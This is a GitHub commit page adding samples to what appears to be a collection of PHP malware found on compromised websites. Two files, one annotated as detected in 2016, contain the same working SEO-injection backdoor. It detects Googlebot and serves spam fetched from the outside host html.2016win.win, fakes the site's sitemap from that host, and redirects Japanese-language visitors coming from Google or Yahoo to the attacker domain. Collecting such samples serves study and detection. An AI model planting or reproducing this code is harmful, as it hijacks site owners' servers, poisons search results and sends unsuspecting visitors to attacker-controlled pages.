Skip to content

Commit 81309a6

Browse files
Merge pull request mattiasgeniar#7 from LukeTowers/master
Adding my collection of eyesores
2 parents ac3705d + bba6c30 commit 81309a6

File tree

23 files changed

+6943
-0
lines changed

23 files changed

+6943
-0
lines changed
Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
<!--
2+
Detected: 2016.11.02 on southeastconnection.ca
3+
Description: SEO Injection Script
4+
-->
5+
6+
<!-- Original Code -->
7+
<?php
8+
if(!function_exists("stripos"))
9+
{
10+
function stripos($str,$needle,$offset=0)
11+
{
12+
return strpos(strtolower($str),strtolower($needle),$offset);
13+
}
14+
}
15+
$isoldpage=isoldpage();
16+
$uy= $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ;
17+
$u = explode('?ja-',$uy);
18+
$isBot = isGoogleBot();
19+
$isJa = isJaBrower();
20+
$referer = $_SERVER['HTTP_REFERER'];
21+
if(trim($_SERVER['QUERY_STRING'])=="sitemap.xml"){
22+
$url = "http://html.2016win.win/v1/siteurls.php?".$u[0];
23+
ob_start();
24+
$url_str = GetFileContent($url);
25+
$contents=ob_get_contents();
26+
ob_end_clean();
27+
$arrayUrls = explode("|",$url_str);
28+
$dom=new DomDocument('1.0', 'utf-8');
29+
$urlset = $dom->createElement('urlset');
30+
$dom->appendChild($urlset);
31+
$xmlns = $dom->createAttribute("xmlns");
32+
$urlset->appendChild($xmlns);
33+
$xmlnsvalue = $dom->createTextNode("http://www.sitemaps.org/schemas/sitemap/0.9");
34+
$xmlns->appendChild($xmlnsvalue);
35+
foreach($arrayUrls as $k=>$v){
36+
$url = $dom->createElement("url");
37+
$urlset->appendChild($url);
38+
$loc = $dom->createElement("loc");
39+
$url->appendChild($loc);
40+
$text = $dom->createTextNode($v);
41+
$loc->appendChild($text);
42+
}
43+
header("Content-type:text/xml; charset=utf-8");
44+
echo $dom->saveXML();
45+
exit;
46+
}
47+
if ($isBot){
48+
if(!$isoldpage){
49+
$queryid=$_SERVER['QUERY_STRING'];
50+
$str = GetFileContent("http://html.2016win.win/v1/proxy2.php?".$u[1]."|".$_SERVER['HTTP_HOST']);
51+
echo $str;
52+
exit;
53+
}else{
54+
$str=GetFileContent("http://html.2016win.win/v1/proxy.php?".$u[0]);
55+
echo $str;
56+
exit;
57+
}
58+
}else if (isSpider($referer) && $isJa){
59+
echo '<script>document.location=("http://html.2016win.win/ny1.php?'.$uy.'");</script>';
60+
exit;
61+
}
62+
function isGoogleBot(){
63+
if(stripos($_SERVER["HTTP_USER_AGENT"], "Googlebot") !== false) return true;
64+
else return false;
65+
}
66+
67+
function isJaBrower(){
68+
if(strpos(strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']), "ja") !== false) return true;
69+
else return false;
70+
}
71+
72+
function isSpider($referer){
73+
if(strpos(strtolower($referer), "google") !== false || strpos(strtolower($referer), "yahoo") !== false) return true;
74+
else return false;
75+
}
76+
77+
function isoldpage(){
78+
if(strpos($_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'],'?ja-') !== false) return false;
79+
else return true;
80+
}
81+
function GetFileContent($url){
82+
$ch = curl_init();
83+
$timeout = 30;
84+
curl_setopt ($ch, CURLOPT_URL, $url);
85+
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
86+
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
87+
$file_contents = curl_exec($ch);
88+
curl_close($ch);
89+
return $file_contents;
90+
}
91+
?>
92+
93+
<!-- Unminified/compressed code -->
94+
<?php // Unneccessary ?>

found_on_expressionengine/ja.php

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
<?php
2+
if(!function_exists("stripos"))
3+
{
4+
function stripos($str,$needle,$offset=0)
5+
{
6+
return strpos(strtolower($str),strtolower($needle),$offset);
7+
}
8+
}
9+
$isoldpage=isoldpage();
10+
$uy= $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ;
11+
$u = explode('?ja-',$uy);
12+
$isBot = isGoogleBot();
13+
$isJa = isJaBrower();
14+
$referer = $_SERVER['HTTP_REFERER'];
15+
if(trim($_SERVER['QUERY_STRING'])=="sitemap.xml"){
16+
$url = "http://html.2016win.win/v1/siteurls.php?".$u[0];
17+
ob_start();
18+
$url_str = GetFileContent($url);
19+
$contents=ob_get_contents();
20+
ob_end_clean();
21+
$arrayUrls = explode("|",$url_str);
22+
$dom=new DomDocument('1.0', 'utf-8');
23+
$urlset = $dom->createElement('urlset');
24+
$dom->appendChild($urlset);
25+
$xmlns = $dom->createAttribute("xmlns");
26+
$urlset->appendChild($xmlns);
27+
$xmlnsvalue = $dom->createTextNode("http://www.sitemaps.org/schemas/sitemap/0.9");
28+
$xmlns->appendChild($xmlnsvalue);
29+
foreach($arrayUrls as $k=>$v){
30+
$url = $dom->createElement("url");
31+
$urlset->appendChild($url);
32+
$loc = $dom->createElement("loc");
33+
$url->appendChild($loc);
34+
$text = $dom->createTextNode($v);
35+
$loc->appendChild($text);
36+
}
37+
header("Content-type:text/xml; charset=utf-8");
38+
echo $dom->saveXML();
39+
exit;
40+
}
41+
if ($isBot){
42+
if(!$isoldpage){
43+
$queryid=$_SERVER['QUERY_STRING'];
44+
$str = GetFileContent("http://html.2016win.win/v1/proxy2.php?".$u[1]."|".$_SERVER['HTTP_HOST']);
45+
echo $str;
46+
exit;
47+
}else{
48+
$str=GetFileContent("http://html.2016win.win/v1/proxy.php?".$u[0]);
49+
echo $str;
50+
exit;
51+
}
52+
}else if (isSpider($referer) && $isJa){
53+
echo '<script>document.location=("http://html.2016win.win/ny1.php?'.$uy.'");</script>';
54+
exit;
55+
}
56+
function isGoogleBot(){
57+
if(stripos($_SERVER["HTTP_USER_AGENT"], "Googlebot") !== false) return true;
58+
else return false;
59+
}
60+
61+
function isJaBrower(){
62+
if(strpos(strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']), "ja") !== false) return true;
63+
else return false;
64+
}
65+
66+
function isSpider($referer){
67+
if(strpos(strtolower($referer), "google") !== false || strpos(strtolower($referer), "yahoo") !== false) return true;
68+
else return false;
69+
}
70+
71+
function isoldpage(){
72+
if(strpos($_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'],'?ja-') !== false) return false;
73+
else return true;
74+
}
75+
function GetFileContent($url){
76+
$ch = curl_init();
77+
$timeout = 30;
78+
curl_setopt ($ch, CURLOPT_URL, $url);
79+
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
80+
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
81+
$file_contents = curl_exec($ch);
82+
curl_close($ch);
83+
return $file_contents;
84+
}
85+
?>

0 commit comments

Comments
 (0)